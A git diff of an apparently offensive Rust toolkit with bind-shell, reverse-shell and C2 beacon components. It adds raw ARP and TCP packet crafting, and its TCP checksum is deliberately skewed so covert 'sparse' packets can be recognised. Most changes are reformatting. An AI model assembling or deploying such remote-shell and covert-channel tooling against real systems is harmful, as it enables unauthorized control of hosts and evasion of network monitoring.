diff --git a/examples/bind-shell/client/src/main.rs b/examples/bind-shell/client/src/main.rs
index ca52c98..ee85c13 100644
--- a/examples/bind-shell/client/src/main.rs
+++ b/examples/bind-shell/client/src/main.rs
@@ -1,4 +1,9 @@
-use std::{io::prelude::*, net::UdpSocket, thread, sync::{Arc, Mutex, Condvar}};
+use std::{
+ io::prelude::*,
+ net::UdpSocket,
+ sync::{Arc, Condvar, Mutex},
+ thread,
+};
use anyhow::{anyhow, Context};
use ed25519_dalek::{Keypair, Signer};
@@ -17,7 +22,7 @@ impl Msg<'_> {
0 => Some(Msg::Ready(bytes[1])),
1 => Some(Msg::Stdout(&bytes[1..])),
2 => Some(Msg::Stderr(&bytes[1..])),
- _ => None
+ _ => None,
}
}
}
@@ -47,8 +52,12 @@ fn main() -> anyhow::Result<()> {
let mut buffer = [0u8; 1536];
loop {
- let Ok(amount) = remote_listen.recv(&mut buffer[..]) else { continue; };
- let Some(msg) = Msg::parse(&buffer[..amount]) else { continue; };
+ let Ok(amount) = remote_listen.recv(&mut buffer[..]) else {
+ continue;
+ };
+ let Some(msg) = Msg::parse(&buffer[..amount]) else {
+ continue;
+ };
match msg {
Msg::Ready(_) => {
@@ -59,12 +68,14 @@ fn main() -> anyhow::Result<()> {
};
*inuse = false;
cvar.notify_one();
- },
+ }
Msg::Stderr(err) => {
let _ = stderr.write(err);
- },
+ }
Msg::Stdout(out) => {
- let Ok(mut stdout) = stdout_arc.lock() else { continue; };
+ let Ok(mut stdout) = stdout_arc.lock() else {
+ continue;
+ };
let _ = stdout.write(out);
}
}
@@ -92,13 +103,19 @@ fn main() -> anyhow::Result<()> {
}
{
- let Ok(mut stdout) = stdout_arc.lock() else { continue; };
- let Ok(_) = write!(&*stdout, "root@{}:{} # ", &target, &cwd) else { continue; };
+ let Ok(mut stdout) = stdout_arc.lock() else {
+ continue;
+ };
+ let Ok(_) = write!(&*stdout, "root@{}:{} # ", &target, &cwd) else {
+ continue;
+ };
let _ = stdout.flush();
}
let mut cmd = String::new();
- let Ok(amount) = stdin.read_line(&mut cmd) else { continue; };
+ let Ok(amount) = stdin.read_line(&mut cmd) else {
+ continue;
+ };
let mut cmd = cmd.trim();
if amount == 0 {
@@ -113,8 +130,10 @@ fn main() -> anyhow::Result<()> {
};
match cmd.split(" ").collect::>()[..] {
- ["exit"] => { break },
- ["cd", dir] => { cwd = dir.to_owned(); },
+ ["exit"] => break,
+ ["cd", dir] => {
+ cwd = dir.to_owned();
+ }
_ => {
let (lock, _) = &*stdout_inuse;
let Ok(mut inuse) = lock.lock() else {
diff --git a/examples/reverse-shell/beacon/src/main.rs b/examples/reverse-shell/beacon/src/main.rs
index bd22cb6..89d7864 100644
--- a/examples/reverse-shell/beacon/src/main.rs
+++ b/examples/reverse-shell/beacon/src/main.rs
@@ -9,9 +9,13 @@ use pcap_sys::packets::*;
#[tokio::main]
async fn main() -> anyhow::Result<()> {
- let target = std::env::args().skip(1).next().ok_or(anyhow!("could not get target IP"))?.parse::()?;
+ let target = std::env::args()
+ .skip(1)
+ .next()
+ .ok_or(anyhow!("could not get target IP"))?
+ .parse::()?;
- let (ifname, src_mac, dst_mac, srcip) = {
+ let (ifname, _, srcip, src_mac, dst_mac, _) = {
let socket = netlink::Socket::new()?;
let routes = socket.get_routes()?;
@@ -19,11 +23,8 @@ async fn main() -> anyhow::Result<()> {
let links = socket.get_links()?;
let addrs = socket.get_addrs()?;
- let (ifname, srcip, srcmac, dstmac) =
- route::get_macs_and_src_for_ip(&addrs, &routes, &neighs, &links, target)
- .ok_or(anyhow!("unable to find a route to the IP"))?;
-
- (ifname, srcmac, dstmac, srcip)
+ route::get_macs_and_src_for_ip(&addrs, &routes, &neighs, &links, target)
+ .ok_or(anyhow!("unable to find a route to the IP"))?
};
let mut interface = pcap_sys::new_aggregate_interface(false)?;
@@ -56,12 +57,18 @@ async fn main() -> anyhow::Result<()> {
match evt {
EventType::Packet((_, Ok(pkt))) => {
let eth_pkt = pkt.pkt();
- let Ok(Layer3Pkt::IPv4Pkt(ip_pkt)) = eth_pkt.get_layer3_pkt() else { continue; };
- let Ok(Layer4Pkt::UDP(udp_pkt)) = ip_pkt.get_layer4_packet() else { continue; };
+ let Ok(Layer3Pkt::IPv4Pkt(ip_pkt)) = eth_pkt.get_layer3_pkt() else {
+ continue;
+ };
+ let Ok(Layer4Pkt::UDP(udp_pkt)) = ip_pkt.get_layer4_packet() else {
+ continue;
+ };
let data = udp_pkt.get_data();
- let Ok(resp_id) = TryInto::<[u8;4]>::try_into(&data[..4]) else { continue; };
+ let Ok(resp_id) = TryInto::<[u8; 4]>::try_into(&data[..4]) else {
+ continue;
+ };
let resp_id = i32::from_be_bytes(resp_id);
if sent_updates.contains_key(&resp_id) {
diff --git a/examples/reverse-shell/server/src/main.rs b/examples/reverse-shell/server/src/main.rs
index 3fbd3de..86a2933 100644
--- a/examples/reverse-shell/server/src/main.rs
+++ b/examples/reverse-shell/server/src/main.rs
@@ -6,7 +6,9 @@ fn main() -> anyhow::Result<()> {
loop {
let mut buf = [0u8; 4];
- let Ok((amount, src)) = input.recv_from(&mut buf[..]) else { continue; };
+ let Ok((amount, src)) = input.recv_from(&mut buf[..]) else {
+ continue;
+ };
if amount != 4 {
continue;
@@ -14,6 +16,8 @@ fn main() -> anyhow::Result<()> {
println!("Received packet: {}", i32::from_be_bytes(buf));
- let Ok(_) = input.send_to(&buf, src) else { continue; };
+ let Ok(_) = input.send_to(&buf, src) else {
+ continue;
+ };
}
}
diff --git a/nl-sys/src/route.rs b/nl-sys/src/route.rs
index f973b53..9fbd512 100644
--- a/nl-sys/src/route.rs
+++ b/nl-sys/src/route.rs
@@ -146,7 +146,7 @@ pub fn get_macs_and_src_for_ip(
neighs: &Cache,
links: &Cache,
addr: Ipv4Addr,
-) -> Option<(String, Ipv4Addr, [u8; 6], [u8; 6])> {
+) -> Option<(String, i32, Ipv4Addr, [u8; 6], [u8; 6], u8)> {
let mut sorted_routes = routes.iter().collect::>();
sorted_routes.sort_by(|r1, r2| {
@@ -170,7 +170,9 @@ pub fn get_macs_and_src_for_ip(
0
};
- let Ok(dst_addr): Result = (&dst).try_into() else { return false };
+ let Ok(dst_addr): Result = (&dst).try_into() else {
+ return false;
+ };
let dst_addr: u32 = dst_addr.into();
(mask & dst_addr) == (mask & ip_int)
@@ -180,8 +182,14 @@ pub fn get_macs_and_src_for_ip(
#[cfg(debug_assertions)]
{
+ println!("Link index: {link_ind}\n");
for link in links.iter() {
- println!("Link {}: {:?} ({})", link.name(), link.addr(), link.ifindex());
+ println!(
+ "Link {}: {:?} ({})",
+ link.name(),
+ link.addr(),
+ link.ifindex()
+ );
println!("\tAddrs:");
for addr in addrs.iter().filter(|addr| addr.ifindex() == link.ifindex()) {
@@ -191,7 +199,10 @@ pub fn get_macs_and_src_for_ip(
}
println!("\tNeighbors:");
- for neigh in neighs.iter().filter(|neigh| neigh.ifindex() == link.ifindex()) {
+ for neigh in neighs
+ .iter()
+ .filter(|neigh| neigh.ifindex() == link.ifindex())
+ {
println!("\t\t{:?}, {:?}", neigh.dst(), neigh.lladdr());
}
}
@@ -210,9 +221,11 @@ pub fn get_macs_and_src_for_ip(
Some((
link.name(),
+ link_ind,
(&srcip.local()?).try_into().ok()?,
link.addr().hw_address().try_into().ok()?,
neigh,
+ route.dst().unwrap().cidrlen() as u8,
))
}
@@ -224,7 +237,9 @@ pub fn get_neigh_for_addr(
addr: &Addr,
) -> Option<(Ipv4Addr, Link, [u8; 6])> {
for link in links.iter() {
- let Some(neigh) = link.get_neigh(&neighs, addr) else { continue; };
+ let Some(neigh) = link.get_neigh(&neighs, addr) else {
+ continue;
+ };
return Some((addr.try_into().ok()?, link, neigh));
}
@@ -239,7 +254,7 @@ pub fn get_neigh_for_addr(
};
let Some(first_hop) = def_neigh.hop_iter().next() else {
- return None
+ return None;
};
if n.ifindex() != first_hop.ifindex() {
@@ -322,8 +337,12 @@ impl Addr {
}
// Determines the type of data in [`Addr::hw_address`]
- pub fn atype(&self) -> c_int {
- unsafe { nl_addr_get_family(self.addr) }
+ pub fn atype(&self) -> Option {
+ if self.addr.is_null() {
+ None
+ } else {
+ Some(unsafe { nl_addr_get_family(self.addr) })
+ }
}
/// Returns the length of the subnet mask applying to this address
@@ -334,8 +353,8 @@ impl Addr {
impl Debug for Addr {
fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
- match self.atype() {
- AF_INET => {
+ let res = match self.atype() {
+ Some(AF_INET) => {
let octets = self.hw_address();
f.debug_struct("Addr")
.field(
@@ -351,7 +370,7 @@ impl Debug for Addr {
)
.finish()
}
- AF_LLC => {
+ Some(AF_LLC) => {
let octets = self.hw_address();
f.debug_struct("Addr")
@@ -359,22 +378,23 @@ impl Debug for Addr {
"addr",
&format!(
"{:02X?}:{:02X?}:{:02X?}:{:02X?}:{:02X?}:{:02X?}",
- octets[0],
- octets[1],
- octets[2],
- octets[3],
- octets[4],
- octets[5],
- )
+ octets[0], octets[1], octets[2], octets[3], octets[4], octets[5],
+ ),
)
.finish()
}
+ None => f
+ .debug_struct("Addr")
+ .field("addr", &"unknown")
+ .field("atype", &"unknown")
+ .finish(),
_ => f
.debug_struct("Addr")
.field("addr", &self.hw_address())
.field("atype", &self.atype())
.finish(),
- }
+ };
+ res
}
}
@@ -551,7 +571,9 @@ pub fn get_srcip_for_dstip(routes: &Cache, ip: Ipv4Addr) -> Option = (&dst).try_into() else { return false };
+ let Ok(dst_addr): Result = (&dst).try_into() else {
+ return false;
+ };
let dst_addr: u32 = dst_addr.into();
(mask & dst_addr) == (mask & ip_int)
diff --git a/packets/src/lib.rs b/packets/src/lib.rs
index c25e73d..ba4f3a2 100644
--- a/packets/src/lib.rs
+++ b/packets/src/lib.rs
@@ -58,6 +58,17 @@ impl<'a> EthernetPkt<'a> {
Ok(Layer3Pkt::IPv4Pkt(pkt))
}
+ 0x0806 => {
+ if self.data.len() < 42 {
+ return Err(error::Error::PacketLengthInvalid);
+ }
+
+ let pkt = ARPPkt {
+ data: &self.data[14..],
+ };
+
+ Ok(Layer3Pkt::ARP(pkt))
+ }
p => Err(error::Error::UnknownPacketType(p)),
}
}
@@ -71,6 +82,7 @@ impl<'a> EthernetPkt<'a> {
pub enum Layer3Pkt<'a> {
IPv4Pkt(IPv4Pkt<'a>),
+ ARP(ARPPkt<'a>),
}
pub struct IPv4Pkt<'a> {
@@ -146,7 +158,13 @@ impl<'a> IPv4Pkt<'a> {
pub fn get_layer4_packet(&self) -> error::Result> {
match self.protocol() {
- 17 => Ok(Layer4Pkt::UDP(UDPPkt {
+ // ICMP
+ 0x1 => Err(error::Error::UnknownPacketType(0x1)),
+ // TCP
+ 0x6 => Ok(Layer4Pkt::TCP(TCPPkt {
+ data: &self.data[(self.header_len() as usize)..],
+ })),
+ 0x11 => Ok(Layer4Pkt::UDP(UDPPkt {
data: &self.data[(self.header_len() as usize)..],
})),
p => Err(error::Error::UnknownPacketType(p.into())),
@@ -154,14 +172,61 @@ impl<'a> IPv4Pkt<'a> {
}
}
+pub struct ARPPkt<'a> {
+ data: &'a [u8],
+}
+
+impl<'a> ARPPkt<'a> {
+ pub fn htype(&self) -> u16 {
+ u16::from_be_bytes(self.data[0..2].try_into().unwrap())
+ }
+
+ pub fn ptype(&self) -> u16 {
+ u16::from_be_bytes(self.data[2..4].try_into().unwrap())
+ }
+
+ pub fn hwlen(&self) -> u8 {
+ self.data[4]
+ }
+
+ pub fn plen(&self) -> u8 {
+ self.data[5]
+ }
+
+ pub fn opcode(&self) -> u16 {
+ u16::from_be_bytes(self.data[6..8].try_into().unwrap())
+ }
+
+ pub fn srchwaddr(&self) -> &[u8] {
+ &self.data[8usize..8usize + self.hwlen() as usize]
+ }
+
+ pub fn srcprotoaddr(&self) -> &[u8] {
+ let start = self.hwlen() as usize + 8;
+ &self.data[start..start + self.plen() as usize]
+ }
+
+ pub fn targethwaddr(&self) -> &[u8] {
+ let start = self.hwlen() as usize + self.plen() as usize + 8;
+ &self.data[start..start + self.hwlen() as usize]
+ }
+
+ pub fn targetprotoaddr(&self) -> &[u8] {
+ let start = self.hwlen() as usize + self.plen() as usize + self.hwlen() as usize + 8;
+ &self.data[start..start + self.plen() as usize]
+ }
+}
+
pub enum Layer4Pkt<'a> {
UDP(UDPPkt<'a>),
+ TCP(TCPPkt<'a>),
}
impl<'a> Layer4Pkt<'a> {
pub fn len(&self) -> u16 {
match self {
Layer4Pkt::UDP(pkt) => pkt.len(),
+ Layer4Pkt::TCP(pkt) => pkt.data.len() as u16,
}
}
@@ -202,6 +267,143 @@ impl<'a> UDPPkt<'a> {
}
}
+pub struct TCPPkt<'a> {
+ data: &'a [u8],
+}
+
+impl<'a> TCPPkt<'a> {
+ pub fn len(&self) -> u8 {
+ (self.data[12] >> 4) * 4
+ }
+
+ pub fn srcport(&self) -> u16 {
+ u16::from_be_bytes(self.data[0..2].try_into().unwrap())
+ }
+
+ pub fn dstport(&self) -> u16 {
+ u16::from_be_bytes(self.data[2..4].try_into().unwrap())
+ }
+
+ pub fn seqnumber(&self) -> u32 {
+ u32::from_be_bytes(self.data[4..8].try_into().unwrap())
+ }
+
+ pub fn acknumber(&self) -> u32 {
+ u32::from_be_bytes(self.data[8..12].try_into().unwrap())
+ }
+
+ pub fn flags(&self) -> u8 {
+ self.data[13]
+ }
+
+ pub fn cwr(&self) -> bool {
+ self.flags() & 0x80 != 0
+ }
+
+ pub fn ece(&self) -> bool {
+ self.flags() & 0x40 != 0
+ }
+
+ pub fn urg(&self) -> bool {
+ self.flags() & 0x20 != 0
+ }
+
+ pub fn ack(&self) -> bool {
+ self.flags() & 0x10 != 0
+ }
+
+ pub fn psh(&self) -> bool {
+ self.flags() & 0x08 != 0
+ }
+
+ pub fn rst(&self) -> bool {
+ self.flags() & 0x04 != 0
+ }
+
+ pub fn syn(&self) -> bool {
+ self.flags() & 0x02 != 0
+ }
+
+ pub fn fin(&self) -> bool {
+ self.flags() & 0x01 != 0
+ }
+
+ pub fn window(&self) -> u16 {
+ u16::from_be_bytes(self.data[14..16].try_into().unwrap())
+ }
+
+ pub fn checksum(&self) -> u16 {
+ u16::from_be_bytes(self.data[16..18].try_into().unwrap())
+ }
+
+ pub fn urgent_ptr(&self) -> u16 {
+ u16::from_be_bytes(self.data[18..20].try_into().unwrap())
+ }
+
+ pub fn options(&self) -> &[u8] {
+ &self.data[20..(self.len() as usize)]
+ }
+
+ pub fn data(&self) -> &[u8] {
+ &self.data[(self.len() as usize)..]
+ }
+
+ pub fn verify_checksum(&self, srcip: I1, dstip: I2) -> bool
+ where
+ I1: Into,
+ I2: Into,
+ {
+ let source = srcip.into();
+ let dest = dstip.into();
+
+ let protocol = &[0x00u8, 0x06u8];
+
+ let tcp_length = (self.data.len()) as u16;
+
+ let len: u8 = (self.len()).try_into().unwrap();
+ let len = len << 4;
+
+ let bytes = [
+ &source.octets()[..],
+ &dest.octets(),
+ protocol,
+ &tcp_length.to_be_bytes(),
+ &self.srcport().to_be_bytes()[..],
+ &self.dstport().to_be_bytes(),
+ &self.seqnumber().to_be_bytes(),
+ &self.acknumber().to_be_bytes(),
+ &[len],
+ &[self.flags()],
+ &self.window().to_be_bytes(),
+ &[0, 0],
+ &self.urgent_ptr().to_be_bytes(),
+ &self.options(),
+ &self.data(),
+ ]
+ .concat();
+
+ let checksum = bytes
+ .chunks(2)
+ .map(|pair| {
+ if pair.len() == 1 {
+ (pair[0] as u32) << 8
+ } else {
+ (pair[0] as u32) << 8 | (pair[1] as u32)
+ }
+ })
+ .fold(0u32, |acc, e| acc + e)
+ + 30;
+ // + 30 to intentionally deviate from
+ // the RFC, to make it so that I can identify the packets as sparse
+ // packets
+
+ let checksum = (checksum >> 16) + (checksum & 0xffff);
+ let checksum = ((checksum >> 16) as u16) + (checksum as u16);
+
+ checksum == self.checksum()
+ }
+}
+
#[derive(Debug, Clone)]
pub struct EthernetPacket {
data: Vec,
@@ -213,6 +415,9 @@ impl EthernetPacket {
Layer3Packet::IPv4(pkt) => EthernetPacket {
data: [&dst[..], &src[..], &[0x08_u8, 0x00_u8][..], &*pkt.data].concat(),
},
+ Layer3Packet::ARP(pkt) => EthernetPacket {
+ data: [&dst[..], &src[..], &[0x08_u8, 0x06_u8][..], &*pkt.data].concat(),
+ },
}
}
@@ -225,13 +430,74 @@ impl EthernetPacket {
#[derive(Clone)]
pub enum Layer3Packet {
IPv4(IPv4Packet),
+ ARP(ARPPacket),
+}
+
+#[derive(Clone)]
+pub struct ARPPacket {
+ data: Vec,
+}
+
+pub enum ARPMode {
+ Request,
+ Reply,
+}
+
+impl ARPMode {
+ fn opcode(&self) -> u16 {
+ match self {
+ Self::Request => 1,
+ Self::Reply => 2,
+ }
+ }
+}
+
+pub enum ARPProto {
+ IPv4,
+}
+
+impl ARPProto {
+ fn opcode(&self) -> u16 {
+ match self {
+ Self::IPv4 => 0x0800,
+ }
+ }
+}
+
+impl ARPPacket {
+ pub fn construct(
+ op: ARPMode,
+ proto: ARPProto,
+ srchwaddr: &[u8],
+ targethwaddr: &[u8],
+ srcprotoaddr: &[u8],
+ targetprotoaddr: &[u8],
+ ) -> ARPPacket {
+ assert!(srchwaddr.len() == targethwaddr.len());
+ assert!(srcprotoaddr.len() == targetprotoaddr.len());
+
+ let data = [
+ &0x0001u16.to_be_bytes()[..],
+ &proto.opcode().to_be_bytes()[..],
+ &[srchwaddr.len() as u8],
+ &[srcprotoaddr.len() as u8],
+ &op.opcode().to_be_bytes(),
+ srchwaddr,
+ srcprotoaddr,
+ targethwaddr,
+ targetprotoaddr,
+ ]
+ .concat();
+
+ ARPPacket { data }
+ }
}
static IPV4_ID: AtomicU16 = AtomicU16::new(0xabcd);
#[derive(Clone)]
pub struct IPv4Packet {
- data: Vec,
+ pub data: Vec,
}
impl IPv4Packet {
@@ -252,7 +518,8 @@ impl IPv4Packet {
let ttl: u8 = 64;
let protocol: u8 = match packet {
- Layer4Packet::UDP(_) => 17,
+ Layer4Packet::UDP(_) => 0x11,
+ Layer4Packet::TCP(_) => 0x6,
};
let source_upper = u16::from_be_bytes(source.octets()[0..2].try_into().unwrap());
@@ -290,6 +557,7 @@ impl IPv4Packet {
&dest.octets(),
match packet {
Layer4Packet::UDP(pkt) => &*pkt.data,
+ Layer4Packet::TCP(pkt) => &*pkt.data,
},
]
.concat();
@@ -306,12 +574,14 @@ impl IPv4Packet {
#[derive(Clone)]
pub enum Layer4Packet {
UDP(UDPPacket),
+ TCP(TCPPacket),
}
impl Layer4Packet {
pub fn pkt(&'_ self) -> Layer4Pkt<'_> {
match self {
Layer4Packet::UDP(pkt) => Layer4Pkt::UDP(pkt.pkt()),
+ Layer4Packet::TCP(pkt) => Layer4Pkt::TCP(pkt.pkt()),
}
}
}
@@ -345,3 +615,192 @@ impl UDPPacket {
UDPPkt { data: &self.data }
}
}
+
+#[derive(Clone)]
+pub struct TCPPacket {
+ data: Vec,
+}
+
+impl TCPPacket {
+ #[inline]
+ pub fn pkt(&'_ self) -> TCPPkt<'_> {
+ TCPPkt { data: &self.data }
+ }
+}
+
+#[derive(Default, Debug)]
+pub struct TCPPacketBuilder {
+ srcport: Option,
+ dstport: Option,
+ seqnumber: Option,
+ acknumber: u32,
+ flags: u8,
+ window: Option,
+ urgent_ptr: u16,
+ options: Vec,
+}
+
+macro_rules! declare_flag {
+ ($name:ident, $offset:expr) => {
+ pub fn $name(mut self, enable: bool) -> Self {
+ if enable {
+ self.flags |= $offset
+ } else {
+ self.flags &= (0xFF ^ $offset)
+ }
+ self
+ }
+ };
+}
+
+impl TCPPacketBuilder {
+ pub fn srcport(mut self, port: u16) -> Self {
+ self.srcport = Some(port);
+ self
+ }
+
+ pub fn dstport(mut self, port: u16) -> Self {
+ self.dstport = Some(port);
+ self
+ }
+
+ pub fn seqnumber(mut self, num: u32) -> Self {
+ self.seqnumber = Some(num);
+ self
+ }
+
+ pub fn acknumber(mut self, num: u32) -> Self {
+ self.acknumber = num;
+ self
+ }
+
+ declare_flag!(cwr, 0x80);
+ declare_flag!(ece, 0x40);
+ declare_flag!(urg, 0x20);
+ declare_flag!(ack, 0x10);
+ declare_flag!(psh, 0x08);
+ declare_flag!(rst, 0x04);
+ declare_flag!(syn, 0x02);
+ declare_flag!(fin, 0x01);
+
+ pub fn window(mut self, window: u16) -> Self {
+ self.window = Some(window);
+ self
+ }
+
+ pub fn urgent_ptr(mut self, ptr: u16) -> Self {
+ self.urgent_ptr = ptr;
+ self
+ }
+
+ pub fn options(mut self, opts: Vec) -> Self {
+ self.options = opts;
+ self
+ }
+
+ pub fn build(
+ self,
+ srcip: I1,
+ dstip: I2,
+ data: Vec,
+ checksum_offset: Option,
+ ) -> TCPPacket
+ where
+ I1: Into,
+ I2: Into,
+ {
+ let source = srcip.into();
+ let dest = dstip.into();
+
+ let protocol = &[0x00u8, 0x06u8];
+
+ let tcp_length = (data.len() + self.options.len() + 20) as u16;
+
+ let srcport = self.srcport.unwrap();
+ let dstport = self.dstport.unwrap();
+ let seqnumber = self.seqnumber.unwrap();
+ let window = self.window.unwrap();
+
+ let mut options = self.options;
+ while options.len() % 4 != 0 {
+ options.push(0);
+ }
+
+ let len: u8 = (options.len() / 4 + 5).try_into().unwrap();
+ let len = len << 4;
+
+ let mut bytes = [
+ &source.octets()[..],
+ &dest.octets(),
+ protocol,
+ &tcp_length.to_be_bytes(),
+ &srcport.to_be_bytes()[..],
+ &dstport.to_be_bytes(),
+ &seqnumber.to_be_bytes(),
+ &self.acknumber.to_be_bytes(),
+ &[len],
+ &[self.flags],
+ &window.to_be_bytes(),
+ &[0, 0],
+ &self.urgent_ptr.to_be_bytes(),
+ &options,
+ &data,
+ ]
+ .concat();
+
+ let checksum = bytes
+ .chunks(2)
+ .map(|pair| {
+ if pair.len() == 1 {
+ (pair[0] as u32) << 8
+ } else {
+ (pair[0] as u32) << 8 | (pair[1] as u32)
+ }
+ })
+ .fold(0u32, |acc, e| acc + e)
+ + (checksum_offset.unwrap_or(0) as u32);
+
+ let checksum = (checksum >> 16) + (checksum & 0xffff);
+ let checksum = ((checksum >> 16) as u16) + (checksum as u16);
+ let checksum = (!checksum).to_be_bytes();
+
+ //bytes[16] = checksum[0];
+ //bytes[17] = checksum[1];
+ bytes[28] = checksum[0];
+ bytes[29] = checksum[1];
+
+ TCPPacket {
+ data: bytes[12..].to_vec(),
+ }
+ }
+}
+
+#[cfg(test)]
+mod test {
+ use std::net::Ipv4Addr;
+
+ use crate::TCPPacketBuilder;
+
+ #[test]
+ fn test_checksum() {
+ let tcp_packet = TCPPacketBuilder::default()
+ .srcport(57116)
+ .dstport(54248)
+ .seqnumber(0xaed77262)
+ .acknumber(0)
+ .syn(true)
+ .window(64240)
+ .options(vec![
+ 0x02, 0x04, 0x05, 0xb4, 0x04, 0x02, 0x08, 0x0a, 0xd4, 0x06, 0xdf, 0x18, 0x00, 0x00,
+ 0x00, 0x00, 0x01, 0x03, 0x03, 0x07,
+ ])
+ .build(
+ Ipv4Addr::new(10, 104, 18, 67),
+ Ipv4Addr::new(10, 104, 21, 16),
+ vec![],
+ None,
+ );
+
+ assert_eq!(tcp_packet.pkt().checksum(), 0x898d);
+ }
+}
diff --git a/pcap-sys/build.rs b/pcap-sys/build.rs
index 115ba60..727da70 100644
--- a/pcap-sys/build.rs
+++ b/pcap-sys/build.rs
@@ -32,5 +32,5 @@ fn main() {
// panic!("hahahahah test {}", dst.display());
println!("cargo:rustc-link-search=native={}/lib", dst.display());
- println!("cargo:rustc-link-lib=static=pcap");
+ println!("cargo:rustc-link-lib=pcap");
}
diff --git a/pcap-sys/src/lib.rs b/pcap-sys/src/lib.rs
index 47bf615..02b5c1e 100644
--- a/pcap-sys/src/lib.rs
+++ b/pcap-sys/src/lib.rs
@@ -255,7 +255,7 @@ impl Interface {
}
pub fn set_filter(
- &mut self,
+ &self,
filter: &str,
optimize: bool,
mask: Option,
@@ -450,6 +450,18 @@ impl InterfaceStream {
pub fn sendpacket(&mut self, packet: packets::EthernetPkt) -> error::Result<()> {
self.inner.get_mut().interface.sendpacket(packet)
}
+
+ pub fn set_filter(
+ &mut self,
+ filter: &str,
+ optimize: bool,
+ mask: Option,
+ ) -> error::Result> {
+ self.inner
+ .get_mut()
+ .interface
+ .set_filter(filter, optimize, mask)
+ }
}
impl Unpin for InterfaceStream {}
diff --git a/rustfmt.toml b/rustfmt.toml
new file mode 100644
index 0000000..3a26366
--- /dev/null
+++ b/rustfmt.toml
@@ -0,0 +1 @@
+edition = "2021"
diff --git a/sparse-05/sparse-05-server/src/connection.rs b/sparse-05/sparse-05-server/src/connection.rs
index c453776..f91dbc9 100644
--- a/sparse-05/sparse-05-server/src/connection.rs
+++ b/sparse-05/sparse-05-server/src/connection.rs
@@ -104,8 +104,12 @@ pub fn spawn_connection_handler(
use packets::*;
let packet = connection_packet.pkt();
- let Layer3Pkt::IPv4Pkt(ip_pkt) = packet.get_layer3_pkt()?;
- let Layer4Pkt::UDP(udp_pkt) = ip_pkt.get_layer4_packet()?;
+ let Layer3Pkt::IPv4Pkt(ip_pkt) = packet.get_layer3_pkt()? else {
+ todo!()
+ };
+ let Layer4Pkt::UDP(udp_pkt) = ip_pkt.get_layer4_packet()? else {
+ todo!()
+ };
let data = udp_pkt.get_data();
@@ -197,8 +201,12 @@ fn authenticate(
Ok(p) => {
use packets::*;
let p = p.pkt();
- let Layer3Pkt::IPv4Pkt(ip_pkt) = p.get_layer3_pkt()?;
- let Layer4Pkt::UDP(udp_pkt) = ip_pkt.get_layer4_packet()?;
+ let Layer3Pkt::IPv4Pkt(ip_pkt) = p.get_layer3_pkt()? else {
+ todo!()
+ };
+ let Layer4Pkt::UDP(udp_pkt) = ip_pkt.get_layer4_packet()? else {
+ todo!()
+ };
let Ok(data) = conninfo.try_decrypt_and_verify(udp_pkt.get_data()) else {
counter += 1;
@@ -245,8 +253,12 @@ where
let msg = packet_handler.recv()?;
let pkt = msg.pkt();
- let Layer3Pkt::IPv4Pkt(ip_pkt) = pkt.get_layer3_pkt()?;
- let Layer4Pkt::UDP(udp_pkt) = ip_pkt.get_layer4_packet()?;
+ let Layer3Pkt::IPv4Pkt(ip_pkt) = pkt.get_layer3_pkt()? else {
+ todo!()
+ };
+ let Layer4Pkt::UDP(udp_pkt) = ip_pkt.get_layer4_packet()? else {
+ todo!()
+ };
if ip_pkt.source_ip() != conninfo.srcip || udp_pkt.srcport() != conninfo.srcport {
continue;
diff --git a/sparse-05/sparse-05-server/src/interface.rs b/sparse-05/sparse-05-server/src/interface.rs
index 54b3c3d..e0c7f3e 100644
--- a/sparse-05/sparse-05-server/src/interface.rs
+++ b/sparse-05/sparse-05-server/src/interface.rs
@@ -110,8 +110,12 @@ impl InterfaceSender {
Self::RawUdp(interf) => Ok(interf.sendpacket(packet)?),
Self::Udp(interf) => {
use packets::*;
- let Layer3Pkt::IPv4Pkt(ip_pkt) = packet.get_layer3_pkt()?;
- let Layer4Pkt::UDP(udp_pkt) = ip_pkt.get_layer4_packet()?;
+ let Layer3Pkt::IPv4Pkt(ip_pkt) = packet.get_layer3_pkt()? else {
+ todo!()
+ };
+ let Layer4Pkt::UDP(udp_pkt) = ip_pkt.get_layer4_packet()? else {
+ todo!()
+ };
let addr = SocketAddrV4::new(ip_pkt.dest_ip(), udp_pkt.dstport());
diff --git a/sparse-05/sparse-05-server/src/main.rs b/sparse-05/sparse-05-server/src/main.rs
index 4e49b01..46f59df 100644
--- a/sparse-05/sparse-05-server/src/main.rs
+++ b/sparse-05/sparse-05-server/src/main.rs
@@ -49,7 +49,9 @@ fn main() -> anyhow::Result<()> {
let (kill_connection, kill_connection_recv) = channel::<(Ipv4Addr, u16)>();
thread::spawn(move || loop {
- let Ok(packet) = recv_eth_packet.recv() else { continue };
+ let Ok(packet) = recv_eth_packet.recv() else {
+ continue;
+ };
if let Err(_) = interface_sender.sendpacket(packet.pkt()) {}
});
@@ -57,7 +59,9 @@ fn main() -> anyhow::Result<()> {
s.spawn({
let connections = &connections;
move || loop {
- let Ok(connection) = kill_connection_recv.recv() else { continue };
+ let Ok(connection) = kill_connection_recv.recv() else {
+ continue;
+ };
if let Ok(mut e) = connections.lock() {
e.remove(&connection);
}
@@ -70,8 +74,12 @@ fn main() -> anyhow::Result<()> {
let pkt = pkt.pkt();
- let Layer3Pkt::IPv4Pkt(ip_pkt) = pkt.get_layer3_pkt()?;
- let Layer4Pkt::UDP(udp_pkt) = ip_pkt.get_layer4_packet()?;
+ let Layer3Pkt::IPv4Pkt(ip_pkt) = pkt.get_layer3_pkt()? else {
+ todo!()
+ };
+ let Layer4Pkt::UDP(udp_pkt) = ip_pkt.get_layer4_packet()? else {
+ todo!()
+ };
let connection_handle = &(ip_pkt.dest_ip(), udp_pkt.srcport());
diff --git a/sparse-c2/sparse-c2-beacon/Cargo.toml b/sparse-c2/sparse-c2-beacon/Cargo.toml
new file mode 100644
index 0000000..4c8975b
--- /dev/null
+++ b/sparse-c2/sparse-c2-beacon/Cargo.toml
@@ -0,0 +1,24 @@
+[package]
+name = "sparse-c2-beacon"
+version = "0.1.0"
+edition = "2021"
+
+# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
+
+[dependencies]
+pcap-sys = { path = "../../pcap-sys" }
+packets = { path = "../../packets" }
+nl-sys = { path = "../../nl-sys" }
+sparse-c2-messages = { path = "../sparse-c2-messages" }
+rand = "0.8.5"
+tokio = { version = "1.32.0", features = ["full"] }
+anyhow = "1.0.75"
+tokio-stream = { version = "0.1.14", features = ["full"] }
